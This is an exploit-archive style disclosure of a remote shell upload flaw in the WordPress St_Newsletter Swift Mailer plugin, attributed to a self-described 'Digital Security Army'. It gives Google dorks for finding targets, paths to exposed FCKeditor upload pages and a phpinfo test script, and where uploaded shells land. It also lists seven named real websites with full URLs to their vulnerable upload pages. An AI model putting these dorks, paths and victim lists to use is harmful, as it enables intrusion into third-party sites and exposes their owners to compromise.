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WordPress St_Newsletter Swift Mailer Plugins 2.7 Remote Shell Upload Vulnerability

Author: KingSkrupellos , Published: 21-12-2018

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# Exploit Title : WordPress St_Newsletter Swift Mailer Plugins 2.7 Remote Shell Upload Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 20/12/2018
# Vendor Homepage : wordpress.org ~ forums.devnetwork.net ~ swiftmailer.symfony.com ~ swiftmailer.org
# Software Download Link : N/A ~ wordpress.org/plugins/swift-mailer/
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 2.0 ~ 2.0.9 ~ 2.1.2 ~ 2.3 ~ 2.5.1 ~ 2.7
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/st_newsletter/''
+ intext:''© 2016 Prevent Cancer Now SUM LogoSUM Brand + Design''
+ intext:''Copyright © 2000-2012 Silicon Valley Fellowship''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ]
+ CWE-434: Unrestricted Upload of File with Dangerous Type
# Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~ ayarsecurity.com [ Friend ]

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# Exploit :

/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/browser/default/connectors/test.html

/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/browser/default/browser.html

/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/browser/default/frmupload.html

/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/fckeditor.html

# Directory File Path :

/wp-content/uploads/......

/wp-content/uploads/[YEAR]/[MONTH]....

# Exploit : phpinfo System Information

/wp-content/plugins/st_newsletter/Swift5/tests/units/runTests.php

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# Note : This plugin St_Newsletter Swift Mailer contains a very serious vulnerability that allowed hackers to gain full control –

modify, upload and execute files on any website running WordPress. With the plugin installed on a certain website,

a hacker or malicious person can gain access to the web server via HTTP through a backdoor in the plugin’s directory.

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# Example Vulnerable Sites =>

[+] revistamoviola.com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

[+] earthnc.com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

[+] siliconvalleyfellowship.org/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

[+] pedibus-geneve.ch/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

[+] parkdietzassociates.com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

[+] storytellerwine.com/wine/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

[+] preventcancernow.ca/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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